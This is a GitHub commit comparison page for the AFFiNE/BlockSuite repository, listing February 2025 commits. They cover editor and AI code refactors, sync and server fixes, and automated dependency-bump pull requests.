Compare commits

...

433 Commits

Author SHA1 Message Date
Flrande
9fd1ca1c09 refactor(editor): remove inline editor keyboard utils and add markdown property in rich-text (#10375) 2025-02-23 19:57:56 +08:00
Saul-Mirone
eef2f004b8 refactor(editor): reorg blocksuite ai code (#10372)
### TL;DR

Relocated AI-related code from `presets` directory to a dedicated `ai` directory for better organization and maintainability.

### What changed?

- Moved AI-related code from `blocksuite/presets/ai` to `blocksuite/ai`
- Relocated AI chat block code from `blocksuite/blocks` to `blocksuite/ai/blocks`
- Updated imports across files to reflect new directory structure
- Renamed `registerBlocksuitePresetsCustomComponents` to `registerAIEffects`
- Fixed path references in GitHub workflow file

### How to test?

1. Build and run the application
2. Verify AI functionality works as expected:
   - Test AI chat blocks
   - Check AI panel functionality
   - Verify AI copilot features
   - Ensure AI-related UI components render correctly

### Why make this change?

This restructuring improves code organization by:
- Giving AI features a dedicated directory that better reflects their importance
- Making the codebase more maintainable by grouping related AI functionality
- Reducing confusion by removing AI code from the more general `presets` directory
- Creating clearer boundaries between AI and non-AI related code
2025-02-23 09:26:00 +00:00
doodlewind
542f759ffb refactor(editor): add panning/zooming field in viewport event (#10373) 2025-02-23 08:58:15 +00:00
doodlewind
22f9db63bc refactor(editor): invalidate support in turbo renderer (#10368)
refactor(editor): invalidate support in turbo renderer

- Added `invalidate()` method to clear cache and canvas
- Simplified debug pane controls to single invalidate button
- Replaced layout update with refresh debounce on block updates
- Improved cache handling and bitmap drawing flow

refactor: refresh after invalidate
2025-02-23 03:23:20 +00:00
Saul-Mirone
f8cabe8bb1 refactor: move ai-item components to frontend core (#10369)
### TL;DR

Relocated AI item components from BlockSuite to the frontend codebase and updated related imports.

### What changed?

- Moved AI item components from `blocksuite/affine/components/src/ai-item` to `packages/frontend/core/src/blocksuite/presets/ai/_common/components/ai-item`
- Updated all imports referencing the old AI item component location to point to the new location
- Removed AI item exports from BlockSuite's package.json and effects registration
- Added AI item effects registration to frontend presets

### How to test?

1. Verify AI functionality works as expected in:
   - Chat panels
   - AI toolbars
   - Edgeless copilot
   - Slash menu
2. Confirm no AI-related console errors appear
3. Test error handling scenarios (unauthorized, payment required, network errors)

### Why make this change?

This change consolidates AI-related components into the frontend codebase where they are primarily used, rather than keeping them in BlockSuite. This improves code organization by placing components closer to their implementation and usage, while reducing unnecessary coupling between packages.
2025-02-22 17:03:07 +00:00
Saul-Mirone
3ff6176306 refactor(editor): extract ai widgets and tool (#10367)
### TL;DR
Moved AI-related components from BlockSuite core to the frontend presets directory to better organize AI functionality.

### What changed?
- Relocated AI panel, copilot tool, and related components from BlockSuite core to frontend presets
- Moved AI widget definitions and registrations to the presets directory
- Updated imports to reference new component locations
- Removed AI component registrations from core effects.ts
- Added AI component registrations to presets effects.ts

### How to test?
1. Verify AI panel functionality works as expected in the editor
2. Test copilot tool interactions in edgeless mode
3. Confirm AI suggestions and responses still appear correctly
4. Check that AI toolbar buttons and menus function properly
5. Ensure AI error states and loading indicators display correctly

### Why make this change?
This restructuring improves code organization by moving AI-specific functionality out of the core BlockSuite library and into the frontend presets where it more logically belongs. This separation of concerns makes the codebase more maintainable and allows for better modularity of AI features.
2025-02-22 13:58:40 +00:00
Yifeng Wang
963cc2e40e refactor(editor): reduce redundant canvas refresh on init (#10364) 2025-02-22 21:58:13 +08:00
Saul-Mirone
04ed2bdab7 refactor(editor): remove edgeless service in ai widgets (#10361) 2025-02-22 08:55:44 +00:00
renovate
77d31ea25a chore: bump up eslint-plugin-unicorn version to v57 (#10234)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-unicorn](https://redirect.github.com/sindresorhus/eslint-plugin-unicorn) | [`^56.0.1` -> `^57.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-unicorn/56.0.1/57.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-unicorn/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-unicorn/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-unicorn/56.0.1/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-unicorn/56.0.1/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>sindresorhus/eslint-plugin-unicorn (eslint-plugin-unicorn)</summary>

### [`v57.0.0`](https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/compare/v56.0.1...v57.0.0)

[Compare Source](https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/compare/v56.0.1...v57.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjcuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2Ny4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-22 05:48:13 +00:00
Saul-Mirone
7945e1ed9f refactor: organize component registration by category (#10360)
### TL;DR
Reorganized component registration in the effects module by grouping related components into separate functions.

### What changed?
- Split the monolithic component registration into logical categories:
  - Root components (page, preview, edgeless)
  - Widgets (panels, toolbars, modals)
  - Edgeless toolbar components (tools, menus, buttons)
  - Edgeless panel components (alignment, color, style)
  - Edgeless editor components (text editors, label editors)
  - AI components (panels, placeholders)
  - Misc components (modals, loading, previews)
- Added descriptive comments for each component group
- Maintained all existing component registrations while improving code organization

### How to test?
1. Launch the application
2. Verify all components render correctly:
   - Check page/preview/edgeless views
   - Test toolbar functionality
   - Verify panels and modals work
   - Ensure AI features function properly
   - Validate edgeless editor capabilities

### Why make this change?
Improves code maintainability and readability by:
- Grouping related components together
- Making it easier to find and modify specific component registrations
- Providing better structure for future component additions
- Reducing cognitive load when working with component registrations
2025-02-21 15:50:56 +00:00
donteatfriedrice
734ca154ae refactor(core): use image preview component in chat (#10357)
[BS-2421](https://linear.app/affine-design/issue/BS-2421/chat-block-and-chat-panel-input-render-images-时存在内存泄露风险)
2025-02-21 15:36:55 +00:00
Saul-Mirone
2cf9a8f286 refactor: reorganize specs and adapter extensions (#10359)
### TL;DR
Refactored `SpecProvider` singleton access pattern and reorganized adapter/extension code structure.

### What changed?
- Changed `SpecProvider.getInstance()` to `SpecProvider._` for cleaner singleton access
- Moved adapter/extension code from `_common` directory to dedicated `adapters` and `extensions` folders
- Consolidated adapter extensions into a single file
- Removed unused dependencies from package.json
- Deleted unnecessary schema files
- Extracted `MobileSpecsPatches` class into the mobile patching code
- Updated all references to use the new `SpecProvider._` accessor

### How to test?
- Verify all specs are properly registered and accessible via `SpecProvider._`
- Test adapter functionality for HTML, Markdown, Notion HTML and plain text
- Check mobile-specific features and patches work correctly
- Ensure preview functionality works in both page and edgeless modes

### Why make this change?
- Improves code organization by properly separating adapters and extensions
- Simplifies singleton access pattern
- Removes unnecessary dependencies and files
- Makes the codebase more maintainable by consolidating related functionality
2025-02-21 14:25:35 +00:00
L-Sun
72b751943c fix(editor): using click event instead of pointerDown event for page block (#10351)
Close [BS-2647](https://linear.app/affine-design/issue/BS-2647/ios返回手势会误触发focus导致弹起键盘)

### What Changes:
- Using `click` event instead of `pointerDown` event to handle selection logic in page block, because gestures on mobile devices can trigger the `pointerDown` event, causing the cursor to update and unexpectedly bring up the virtual keyboard.
2025-02-21 13:19:51 +00:00
akumatus
07cbf5affe fix(core): slash ask ai returns make it real action result (#10349)
Fix issue [AF-2252](https://linear.app/affine-design/issue/AF-2252).

## What Changed?
- Remove useless `generateAnswer` configuration for inline ask ai
- Refactor the common `updateAIPanelConfig` function
- Use empty string instead of meaningless `placeholder` string
- Remove unnecessary high-order function wrappers
2025-02-21 12:52:53 +00:00
Saul-Mirone
55651503df refactor(editor): extract root block (#10356)
Closes: [BS-2207](https://linear.app/affine-design/issue/BS-2207/move-root-block-to-affineblock-root)
2025-02-21 12:38:26 +00:00
EYHN
4a66ec7400 fix(nbstore): fix doc clock check logic (#10355) 2025-02-21 11:10:16 +00:00
liuyi
7d68aa5b2f chore(server): ignore erorr when join joint room (#10354) 2025-02-21 10:48:53 +00:00
CatsJuice
64370980b3 fix(core): ensure the divider between cloud and local is displayed correctly (#10352) 2025-02-21 10:27:53 +00:00
pengx17
6e399ce34b fix(core): unused blobs query (#10350)
The default limit is 100.
2025-02-21 10:14:00 +00:00
zzj3720
4d759766b9 fix(editor): adjust the style of the table block (#10348) 2025-02-21 09:32:01 +00:00
Peng Xiao
83669f8fbb fix(core): settings storage empty styles (#10313) 2025-02-21 17:19:53 +08:00
DarkSky
24fa58df52 fix: quota switch (#10347) 2025-02-21 17:18:30 +08:00
Peng Xiao
dff68b9aae fix(core): blocksuite editor runtime configs in correct timing (#10344) 2025-02-21 17:16:53 +08:00
Cats Juice
09cc5c392b refactor(core): new workspace selector and create dialog (#10323) 2025-02-21 17:16:38 +08:00
Saul-Mirone
22e4bd8c20 refactor: move image proxy middleware and adapter extensions (#10345)
### TL;DR
Moved image proxy middleware and adapter extensions to their respective packages and introduced a new spec provider for adapter registration.

### What changed?
- Relocated `defaultImageProxyMiddleware` from blocks to `@blocksuite/affine-block-image`
- Moved `PresentTool` from fragment-frame-panel to block-frame
- Created new adapter extension specs for HTML, Markdown, and Notion HTML
- Introduced a spec provider pattern for adapter registration
- Removed direct transformer references from RootService
- Updated imports across affected files to use new locations

### How to test?
1. Verify image proxy functionality works in exports and imports
2. Test HTML, Markdown, and Notion HTML adapters still function correctly
3. Confirm presentation mode works with the relocated PresentTool
4. Check that all file import/export operations continue to work as expected

### Why make this change?
This reorganization improves code modularity by placing features in their logical packages and introduces a more maintainable pattern for adapter registration. The spec provider pattern makes it easier to manage and extend adapter functionality while reducing coupling between components.
2025-02-21 09:01:57 +00:00
darkskygit
296d88f721 fix: ignore unknown charset (#10346) 2025-02-21 08:36:27 +00:00
EYHN
244d683d83 fix(nbstore): adjust doc sync logic (#10342) 2025-02-21 08:17:07 +00:00
Saul-Mirone
f3218ab3bc refactor(editor): rename presets to integration test (#10340) 2025-02-21 06:26:03 +00:00
L-Sun
f79324b6a1 chore(editor): update shadow of ask-ai-panel (#10336)
Close [PD-2343](https://linear.app/affine-design/issue/PD-2343/[ui]-ai-面板-shadow-改为-overlaypanelshadow)
2025-02-21 06:12:05 +00:00
Saul-Mirone
adcc6b578c refactor(editor): move editor components to frontend core (#10335)
### TL;DR
Moved editor components from BlockSuite presets to AFFiNE core and updated imports accordingly.

### What changed?
- Relocated `EdgelessEditor` and `PageEditor` components from BlockSuite presets to AFFiNE core
- Removed basic editor examples from playground
- Updated import paths across the codebase to reference new component locations
- Added editor effects registration in AFFiNE core
- Removed editor exports from BlockSuite presets

### How to test?
1. Launch the application
2. Verify both page and edgeless editors load correctly
3. Confirm editor functionality remains intact including:
   - Document editing
   - Mode switching
   - Editor toolbars and controls
   - Multiple editor instances

### Why make this change?
This change better aligns with AFFiNE's architecture by moving editor components closer to where they are used. It reduces coupling with BlockSuite presets and gives AFFiNE more direct control over editor customization and implementation.
2025-02-21 04:28:54 +00:00
fengmk2
7f833f8c15 fix(server): don't sync blob meta on workspace deleted event (#10334)
close CLOUD-128
2025-02-21 04:11:57 +00:00
JimmFly
785951bbfa fix(core): adjust copy link button styles (#10337)
close PD-2344
![CleanShot 2025-02-21 at 11 22 32@2x](https://github.com/user-attachments/assets/97d1052b-c900-47df-89ba-476787a28587)
![CleanShot 2025-02-21 at 11 22 08@2x](https://github.com/user-attachments/assets/2b455797-dfc8-4572-95ac-3ee8b33b0528)
2025-02-21 03:58:03 +00:00
fundon
19e9f970f4 fix(editor): block selected style in note under edgeless (#10326)
Related to: https://github.com/toeverything/AFFiNE/pull/9849

Currently missing selected style in note under edgeless.
<img width="860" alt="Screenshot 2025-02-20 at 20 51 12" src="https://github.com/user-attachments/assets/77d68cfb-13d0-4e09-a567-f2a30ba72db1" />
2025-02-21 03:43:54 +00:00
doodlewind
c362737441 perf(editor): reduce dom ops in viewport update (#10333) 2025-02-21 03:30:10 +00:00
EYHN
618042812b fix(nbstore): fix cloud awareness (#10320) 2025-02-21 11:11:10 +08:00
fengmk2
0ff7c5f897 fix(server): gen new request id on websocket event request (#10330)
After

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/22431b9a-30e8-48a3-8db6-de377671f9b7.png)
2025-02-21 02:00:58 +00:00
Saul-Mirone
b8dcb85007 refactor: move outline fragment to separate package (#10331)
### TL;DR

Moved outline functionality into a dedicated fragment package and updated vanilla-extract CSS dependency.

### What changed?

- Created new `@blocksuite/affine-fragment-outline` package
- Relocated outline-related code from presets to the new fragment package
- Updated imports across affected files to reference the new package location
- Upgraded `@vanilla-extract/css` dependency from 1.14.0/1.16.1 to 1.17.0
- Added necessary package configuration and TypeScript setup for the new fragment

### How to test?

1. Verify outline functionality works as expected in both desktop and mobile views
2. Check that outline panel, viewer, and mobile menu components render correctly
3. Ensure outline navigation and interactions continue to work
4. Confirm no regressions in outline-related features

### Why make this change?

This change improves code organization by isolating outline functionality into a dedicated package, following the modular architecture pattern. This makes the codebase more maintainable and allows for better separation of concerns. The vanilla-extract CSS upgrade ensures consistency across packages and provides access to the latest features and fixes.
2025-02-20 15:59:13 +00:00
Saul-Mirone
5ac15f12e6 refactor: replace editor container with editor host (#10328)
### TL;DR
Refactored editor access to use `EditorHost` instead of `AffineEditorContainer` and updated mode access through `DocModeProvider`.

### What changed?
- Changed editor property types from `AffineEditorContainer` to `EditorHost` across multiple components
- Updated mode access to use `DocModeProvider` service instead of direct editor mode access
- Modified editor references to use `editor.host` where appropriate
- Updated scroll and highlight utilities to work with `EditorHost`

### How to test?
1. Open a document in both page and edgeless modes
2. Verify outline panel functionality works as expected
3. Test outline viewer navigation and highlighting
4. Confirm mobile outline menu operates correctly
5. Check that frame panel and TOC features work in all modes

### Why make this change?
This change improves architectural consistency by using `EditorHost` directly and accessing mode through the proper service provider. This makes the code more maintainable and follows better dependency practices by using the correct abstraction levels.
2025-02-20 14:20:32 +00:00
akumatus
efe36161e8 fix(core): remove candidate doc chip suggestions (#10327)
Fix issue [AF-2247](https://linear.app/affine-design/issue/AF-2247).
2025-02-20 14:01:00 +00:00
akumatus
126677d7ad fix(core): no pop-ups if user click discard menu item (#10317)
Fix issue [BS-2628](https://linear.app/affine-design/issue/BS-2628).
2025-02-20 13:29:28 +00:00
Saul-Mirone
007bbabce4 refactor: move frame manager and panel to separate packages (#10324)
### TL;DR
Moved frame management functionality from `blocksuite/blocks` to `@blocksuite/affine-block-frame` package.

### What changed?
- Relocated `frame-manager.ts` from `blocksuite/blocks` to `@blocksuite/affine-block-frame`
- Added new dependencies to block-frame package: `@blocksuite/affine-block-surface` and `yjs`
- Updated imports across multiple components to reference frame manager from its new location
- Moved utility functions `areSetsEqual` and `isFrameBlock` into frame-manager file
- Replaced direct EdgelessRootService references with GfxController in frame panel components

### How to test?
1. Verify frame functionality works in edgeless mode
2. Test frame creation, selection, and manipulation
3. Confirm frame navigation and presentation modes operate correctly
4. Check that frame panel and toolbar interactions remain functional

### Why make this change?
This refactoring improves code organization by consolidating frame-related functionality into a dedicated package, making the codebase more modular and easier to maintain. It also reduces dependencies between packages and provides clearer boundaries for frame-related features.
2025-02-20 13:06:40 +00:00
doodlewind
64cc99354e refactor(editor): add zoom threshold for dom rendering fallback (#10322) 2025-02-20 11:45:19 +00:00
Saul-Mirone
1516903c77 refactor: move doc-title and ai-chat-block components (#10316)
### TL;DR
Moved doc title and AI chat block components to more appropriate locations while removing unused backlink functionality.

### What changed?
- Relocated doc title component from presets to affine-components
- Moved AI chat block from presets/blocks to blocks directory
- Removed unused backlink-related code and components
- Updated imports across files to reference new component locations
- Consolidated AI-related exports through a single entry point

### How to test?
1. Verify doc title still renders correctly in documents
2. Confirm AI chat functionality works as expected
3. Check that no backlink-related features are accessible
4. Ensure all AI features continue to work through the new import paths

### Why make this change?
This reorganization improves code organization by:
- Placing components closer to their related functionality
- Removing dead/unused code around backlinks
- Simplifying the import structure for AI-related features
- Making the codebase more maintainable by consolidating related components
2025-02-20 10:45:47 +00:00
EYHN
4f831732e1 fix(core): fix throw if aborted polyfill (#10321) 2025-02-20 10:32:02 +00:00
zzj3720
ef28e36441 fix(editor): data in the database will be completely overwritten in some cases (#10318) 2025-02-20 10:17:57 +00:00
doodlewind
7b1dfb7ee8 refactor(editor): reduce dom query per refresh (#10319) 2025-02-20 10:01:13 +00:00
Hwang
5fcc402280 style: update ios dark icon (#10312) 2025-02-20 08:01:32 +00:00
DarkSky
fa86f71853 feat(server): client version check (#9205)
Co-authored-by: forehalo <forehalo@gmail.com>
2025-02-20 15:50:22 +08:00
L-Sun
4fee2a9c4b chore(editor): update some widget styles (#10311) 2025-02-20 15:39:48 +08:00
fengmk2
b4097aef8e refactor(server): move bin content parser to doc reader (#10302) 2025-02-20 07:19:48 +00:00
Saul-Mirone
9f4311f654 refactor(editor): remove AbstractEditor type and feature flags in test (#10308) 2025-02-20 07:05:35 +00:00
darkskygit
13f1859cdf feat: allow retry with new message (#10307)
fix AF-1630
2025-02-20 06:07:53 +00:00
Flrande
50820482df fix(editor): auto focus after add inline latex (#10309)
https://github.com/user-attachments/assets/09e713ee-e600-464c-8614-d874d343cfb0

Close #10208
2025-02-20 05:52:06 +00:00
forehalo
ec67d30b27 chore(server): race condition during fixing doc owner (#10303) 2025-02-20 05:34:55 +00:00
forehalo
fd5897dbe6 chore(server): disable nightly subscriptions expirasion check (#10298) 2025-02-20 05:34:54 +00:00
liuyi
d490e767eb fix(server): wrong previous subscription check (#10306) 2025-02-20 13:33:49 +08:00
fundon
adc003862b fix(editor): image size and xywh when converting attachment to image (#10200)
In Edgeless, the image size should be read when converting attachment to image:

* fix `size`
* fix `xywh`
2025-02-20 05:16:21 +00:00
fengmk2
ff0ce1a962 fix(server): remove job on complete (#10305) 2025-02-20 04:39:05 +00:00
EYHN
5042d9f644 fix(nbstore): check before save empty update (#10304) 2025-02-20 04:24:50 +00:00
JimmFly
1d339c682b fix(core): adjust share menu and upgrade-to-team page style (#10299)
close PD-2330 PD-2331 AF-2238
2025-02-20 04:10:52 +00:00
doodlewind
b38abcb59c perf(editor): avoid recreation of Intl.Segmenter (#10295)
<img width="537" alt="image" src="https://github.com/user-attachments/assets/43e54d94-6228-4c26-b3d0-cf4725b251e4" />
2025-02-20 03:55:57 +00:00
Saul-Mirone
c3fc0a0d88 chore(editor): fix imports in legacy tests (#10300) 2025-02-20 03:30:05 +00:00
fengmk2
e0b2b2b33c fix(server): convert error type to lower case (#10301) 2025-02-20 03:04:21 +00:00
zzj3720
ba91b36cc3 feat(editor): add block creation tracking (#10294)
fix: PD-2090
2025-02-20 02:25:29 +00:00
github-actions[bot]
a0e3f9909c chore(i18n): sync translations (#10184)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2025-02-20 02:25:19 +00:00
EYHN
8f6ce2c3b4 fix(nbstore): fix doc clock comparison (#10296) 2025-02-20 10:10:17 +08:00
zzj3720
d8435421d2 fix(editor): improve table selection in edgeless mode (#10293)
fix: BS-2614, BS-2560
2025-02-20 01:50:40 +00:00
doodlewind
676ccc9094 refactor(editor): allow force refresh in worker renderer (#10289) 2025-02-19 14:23:45 +00:00
Saul-Mirone
091ba7bb51 chore: remove createEmptyEditor legacy test misc (#10291) 2025-02-19 21:38:00 +08:00
donteatfriedrice
2b11941c0e chore: bump theme (#10290) 2025-02-19 11:37:19 +00:00
forehalo
02f567f2c0 chore(core): better doc action error message (#10288) 2025-02-19 10:38:38 +00:00
donteatfriedrice
54b7515167 fix(editor): log when export blob failed (#10287) 2025-02-19 10:06:50 +00:00
CatsJuice
e726df9a1b fix(core): prevent all-docs header from overlapping scrollbar (#10270) 2025-02-19 09:24:49 +00:00
CatsJuice
926b35c91f chore(core): temporarily hide editor starter-bar on mobile (#10237) 2025-02-19 09:10:26 +00:00
JimmFly
b456feee63 fix(core): unexpected redirect to expired page after accepting invitation (#10257)
Co-authored-by: EYHN <cneyhn@gmail.com>
2025-02-19 09:10:12 +00:00
JimmFly
487158b9ca fix(core): incorrect permissions displayed in member management (#10269) 2025-02-19 16:58:06 +08:00
EYHN
5b768d9091 fix(nbstore): close full blob sync for iOS (#10286) 2025-02-19 16:57:32 +08:00
Saul-Mirone
90b0982dd3 fix(editor): hide edgeless only note in synced doc block (#10277)
Closes: [BS-2616](https://linear.app/affine-design/issue/BS-2616/embed-view-%E5%B1%95%E7%A4%BA%E4%B8%8D%E8%AF%A5%E5%87%BA%E7%8E%B0%E7%9A%84-note-%E5%86%85%E5%AE%B9)
2025-02-19 08:40:26 +00:00
JimmFly
e5a1595980 feat(core): add tracking events to doc role management (#10221) 2025-02-19 16:39:50 +08:00
Flrande
bc34516e6c fix(editor): embed sync doc theme not reactive (#10283) 2025-02-19 16:38:05 +08:00
liuyi
521ee9d374 fix(server): doc owner and default role permission (#10281) 2025-02-19 08:29:46 +00:00
L-Sun
61ee5531f4 fix(core): incorrect root config identifier (#10285) 2025-02-19 08:20:22 +00:00
EYHN
0f770093b0 fix(nbstore): better diff function for doc update (#10284) 2025-02-19 08:06:51 +00:00
Cats Juice
2d9162b3c4 style(core): adjust ai icon color in starter-bar (#10280) 2025-02-19 16:05:34 +08:00
EYHN
c39a93e1fd fix(nbstore): fix v1 doc storage timestamp (#10282) 2025-02-19 16:04:37 +08:00
EYHN
53cada4640 fix(core): throttle sync progress update (#10278) 2025-02-19 07:45:46 +00:00
EYHN
60a9572c88 fix(core): remove crypto randomuuid api (#10268) 2025-02-19 07:32:01 +00:00
Yifeng Wang
e5315087cb chore(editor): allow remote debug in presets dev entry (#10279) 2025-02-19 15:15:48 +08:00
donteatfriedrice
319d909ac8 fix(editor): paste surface-ref block to another doc as embed-linked-doc block (#10274)
[BS-2155](https://linear.app/affine-design/issue/BS-2155/复制-insert-frame-group-粘贴后,应当变为-block-ref-link)
2025-02-19 07:02:27 +00:00
JimmFly
751f229e30 fix(core): unexpectedly jump to price plan when selfhosting (#10247) 2025-02-19 07:01:54 +00:00
EYHN
c0cc4224bb feat(core): close popup after oauth login (#10273) 2025-02-19 14:44:02 +08:00
liuyi
b50e507fc5 fix(core): wrong i18n key used (#10275) 2025-02-19 14:43:39 +08:00
liuyi
294002101d fix(server): wrong queue options for worker executor (#10267) 2025-02-19 04:44:23 +00:00
fengmk2
320875425c fix: replace all CRLF in email token (#10271) 2025-02-19 04:07:43 +00:00
doouding
dad39d1129 fix: handle unsupported image upload (#10272) 2025-02-19 03:47:48 +00:00
CatsJuice
35f7f5a01b chore(mobile): adjust setting dialog swipe gesture trigger size (#10236) 2025-02-19 02:41:41 +00:00
pengx17
29f8a627b6 fix(core): center peek doc view circular deps (#10253) 2025-02-19 02:23:53 +00:00
EYHN
5a7ab880c1 fix(core): fix ios blob upload (#10263) 2025-02-19 10:07:46 +08:00
Oleg
b20d316d60 fix(editor): ui bugs in linked document embed view (#10105)
Co-authored-by: Mirone <Saul-Mirone@outlook.com>
2025-02-18 23:29:58 +08:00
renovate
dc7e7cfc75 chore: bump up all non-major dependencies (#10132)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.744.0` -> `3.750.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`7.1.6` -> `7.2.16`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/7.1.6/7.2.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/7.1.6/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/7.1.6/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@graphql-codegen/cli](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/graphql-codegen-cli)) | [`5.0.4` -> `5.0.5`](https://renovatebot.com/diffs/npm/@graphql-codegen%2fcli/5.0.4/5.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2fcli/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2fcli/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2fcli/5.0.4/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2fcli/5.0.4/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@lit/context](https://lit.dev/) ([source](https://redirect.github.com/lit/lit/tree/HEAD/packages/context)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@lit%2fcontext/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@lit%2fcontext/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@lit%2fcontext/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@lit%2fcontext/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@lit%2fcontext/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
